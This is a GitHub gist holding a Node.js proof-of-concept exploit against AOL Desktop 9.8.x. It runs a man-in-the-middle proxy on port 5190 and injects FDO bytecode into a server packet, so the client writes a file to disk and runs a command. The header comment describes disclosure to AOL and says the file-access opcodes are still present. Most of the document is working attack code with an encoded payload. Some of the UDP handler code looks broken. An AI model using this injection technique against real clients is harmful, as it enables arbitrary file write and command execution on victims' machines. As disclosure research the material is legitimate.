Skip to content

Instantly share code, notes, and snippets.

@Wack0
Last active December 8, 2015 03:42
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Wack0/c1929ab5d29c83473bd4 to your computer and use it in GitHub Desktop.
Save Wack0/c1929ab5d29c83473bd4 to your computer and use it in GitHub Desktop.
AOL Desktop <= 9.8.1 FS Read/Write via MITM, <= 9.8.0 Remote Command Execution via MITM PoC
/*
ayy-oh-lmao.js
AOL Desktop <= 9.8.0 File Write and Remote Command Execution via MITM
AOL Desktop <= 9.8.1 File Write via MITM.
by slipstream/RoL, between August and December 2015.
irc.rol.im #rol ** http://rol.im/chat/ ** twitter @TheWack0lian
The custom AOL protocol, includes a scripting language called FDO91 (FDO), that's compiled into a bytecode.
Compiled FDO makes up part of the data sent from server to client and client to server.
From the very first version of AOL for Windows (released in 1993) onwards, up until AOL Desktop 9.8.0 released early August, 2015,
some of the available FDO included some intersting opcodes.
First up being the File Management (fm_*) opcodes, which enable the reading from and writing to arbitrary files on disk.
Second up being async_exec_app (this was introduced in WAOL 2.0 from 1994), which runs the provided string operand with arguments.
FDO never ever got verified by the client by any means, so anyone in a man-in-the-middle position can add their own FDO,
in packets sent to the client, which will happily run it.
This proof-of-concept will create a proxy listening on all interfaces, on TCP:5190 and UDP:5190. If a vulnerable and supported
AOL Desktop client connects to it, then it will add FDO to a specific packet to drop a text file to disk and run notepad to
automatically open that text file.
In late August 2015, I disclosed this issue to AOL and gave them a preliminary version of this PoC you see here; (in which you
had to manually configure a certain setting in AOL to connect to the proxy). The following version of AOL Desktop fixed the
remote command execution issue, probably by removing async_exec_app. However, the fm_* opcodes still exist, and more
interesting FDO opcodes probably exist, and some of them might contain issues of their own; more research is needed here.
The betas of 9.8.2 (available right now from http://beta.aol.com/) have not been tested, so it is unknown if they still have the
fm_* opcodes. The currently released version is still 9.8.1 though, so...
In any case, running AOL Desktop is a security risk, as it interprets unauthenticated script bytecode downloaded from a remote server.
Do you really want that? :)
*/
var net = require("net");
var dgram = require('dgram');
var readQueue = null;
var writeQueue = null;
/* ** The FDO we inject as a PoC:
* fm_start
* fm_item_type <filename>
* fm_item_set <"pwned.txt">
* fm_item_type <path>
* cm_tb_get_path
* uni_use_last_atom_string <fm_item_set>
* fm_item_get <filespec>
* uni_use_last_atom_string <var_string_set, 01x>
* fm_create_file
* fm_open_file <01x>
* fm_append_data <"AOL pwned clientside through MITM...\r\nReading/writing to FS and arbitrary command execution 1993-2015 :)">
* fm_flush_file
* fm_close_file
* fm_end
* var_string_set <A,"notepad.exe \"">
* var_string_concatenate_regs <A,B>
* var_string_set <B,"\"">
* var_string_concatenate_regs <A,B>
* var_string_get <A>
* uni_use_last_atom_string <async_exec_app>
*/
var evilfdo = new Buffer(
"CAAACAIBBggDCXB3bmVkLnR4dAgCAQcKUwAACgIIAwgEAQgACgMMBQEIFQAIFgEBCBtoQU9MIHB3bmVkIGNsaWVudHNpZGUgdGhyb3VnaCBNSVRNLi4uDQpSZWFkaW5nL3dyaXRpbmcgdG8gRlMgYW5kIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiAxOTkzLTIwMTUgOikIJwAIGgAIAQAMBQ4Abm90ZXBhZC5leGUgIgxkAgABDAUCASIMZAIAAQwJAQAACgINGQ==",
"base64");
var parseProtocol = function(data,read) {
var ret = [];
var buf;
if ((read) && (readQueue != null)) {
buf = new Buffer(readQueue.length + data.length);
readQueue.copy(buf);
data.copy(buf,readQueue.length);
readQueue = null;
} else if (writeQueue != null) {
buf = new Buffer(writeQueue.length + data.length);
writeQueue.copy(buf);
data.copy(buf,writeQueue.length);
writeQueue = null;
} else buf = new Buffer(data,'ascii');
while (buf.length > 0) {
if (buf.readInt8(0) == 0x5a) {
var len = buf.readUInt16BE(3) + 6;
if (buf.length < len) {
// shove it in the packetQueue and wait.
if (read) readQueue = buf;
else writeQueue = buf;
break;
}
if ((len == 0x25) && (read) && (buf.readUInt16BE(8) == 0x4174) && (buf.readUInt32BE(0xd) == 0x20010d25)) {
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it...\n");
// this is a small simple FDO stream containing just one async_set_screen_name
// perfect to add our evil FDO to the end of :)
var newbuf = new Buffer(len + evilfdo.length);
// get the length of the screen name string within
var snlen = buf.readUInt8(0x11);
// copy everything up to the end of the screen name
buf.copy(newbuf,0,0,0x12+snlen);
// add our fdo
evilfdo.copy(newbuf,0x12+snlen);
// add the last three bytes
newbuf.writeUInt16BE(0x2002,newbuf.length - 3);
newbuf.writeUInt8(0xd,newbuf.length - 1);
// fix up the header length
newbuf.writeUInt16BE(newbuf.length - 6,0x3);
// and push the new modified evil packet ;)
buf = buf.slice(len);
ret.push(newbuf);
continue;
}
var buf2 = new Buffer(len);
buf.copy(buf2,0,0,len);
buf = buf.slice(len);
ret.push(buf2);
} else {
// check for the NEWER protocol.
if (buf.readInt8(0) == 0x2a) {
var len = buf.readUInt16BE(4) + 6;
if (buf.length < len) {
// shove it in the packetQueue and wait.
if (read) readQueue = buf;
else writeQueue = buf;
break;
}
if ((len == 0x22) && (read) && (buf.readUInt16BE(6) == 0x4174) && (buf.readUInt32BE(0xb) == 0x20010d25)) {
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it...");
// this is a small simple FDO stream containing just one async_set_screen_name
// perfect to add our evil FDO to the end of :)
var newbuf = new Buffer(len + evilfdo.length);
// get the length of the screen name string within
var snlen = buf.readUInt8(0xf);
// copy everything up to the end of the screen name
buf.copy(newbuf,0,0,0x10+snlen);
// add our fdo
evilfdo.copy(newbuf,0x10+snlen);
// add the last two bytes
newbuf.writeUInt16BE(0x2002,newbuf.length - 2);
// fix up the header length
newbuf.writeUInt16BE(newbuf.length - 6,0x4);
// and push the new modified evil packet ;)
buf = buf.slice(len);
ret.push(newbuf);
continue;
}
var buf2 = new Buffer(len);
buf.copy(buf2,0,0,len);
buf = buf.slice(len);
ret.push(buf2);
} else {
// this is probably not needed any more now we shove the first part of a truncated FLAP packet in a queue..
ret.push(buf);
break;
}
}
}
return ret;
}
var proxyPort = 5190;
var serviceHost = "americaonline.aol.com";
var servicePort = 5190;
var server = dgram.createSocket("udp4");
server.bind(proxyPort,function() {
var sockets = {};
server.on("message",function(msg,s_rinfo) {
msg = parseProtocol(msg,true);
for (var i = 0; i < msg.length; i++) {
if (!sockets.hasOwnProperty(s_rinfo.address)) {
sockets[rinfo.address] = dgram.createSocket("udp4");
sockets[rinfo.address].on("message",function(msg,rinfo) {
msg = parseProtocol(msg,true);
for (var i = 0; i < msg.length; i++) {
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Read data:"+msg[i].length+" bytes");
server.send(msg[i],0,msg[i].length,s_rinfo.port,s_rinfo.address);
proxySocket.write(data[i]);
}
});
console.log("[UDP] Got connection from "+s_rinfo.address+":"+s_rinfo.port);
}
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Write data:"+msg[i].length+" bytes");
sockets[rinfo.address].send(msg[i],0,msg[i].length,servicePort,serviceHost);
}
});
console.log("Created UDP proxy on 0.0.0.0:"+proxyPort);
});
net.createServer(function (proxySocket) {
var connected = false;
var buffers = new Array();
var serviceSocket = new net.Socket();
console.log("[TCP] Got connection from "+proxySocket.remoteAddress+":"+proxySocket.remotePort);
serviceSocket.connect(servicePort, serviceHost, function() {
connected = true;
if (buffers.length > 0) {
for (i = 0; i < buffers.length; i++) {
serviceSocket.write(buffers[i]);
}
}
});
proxySocket.on("error", function (e) {
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - connection closed");
serviceSocket.end();
});
serviceSocket.on("error", function (e) {
if (!connected) {
console.log("Could not connect to service at host "
+ serviceHost + ', port ' + servicePort);
}
proxySocket.end();
});
proxySocket.on("data", function (data) {
data = parseProtocol(data,false);
for (var i = 0; i < data.length; i++) {
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Write data:"+data[i].length+" bytes");
if (connected) {
serviceSocket.write(data[i]);
} else {
buffers[buffers.length] = data[i];
}
}
});
serviceSocket.on("data", function(data) {
data = parseProtocol(data,true);
for (var i = 0; i < data.length; i++) {
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Read data:"+data[i].length+" bytes");
proxySocket.write(data[i]);
}
});
proxySocket.on("close", function(had_error) {
serviceSocket.end();
});
serviceSocket.on("close", function(had_error) {
proxySocket.end();
});
}).listen(proxyPort);
console.log("Created TCP proxy on 0.0.0.0:"+proxyPort);
@kika123
Copy link

kika123 commented Dec 5, 2015

awesome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment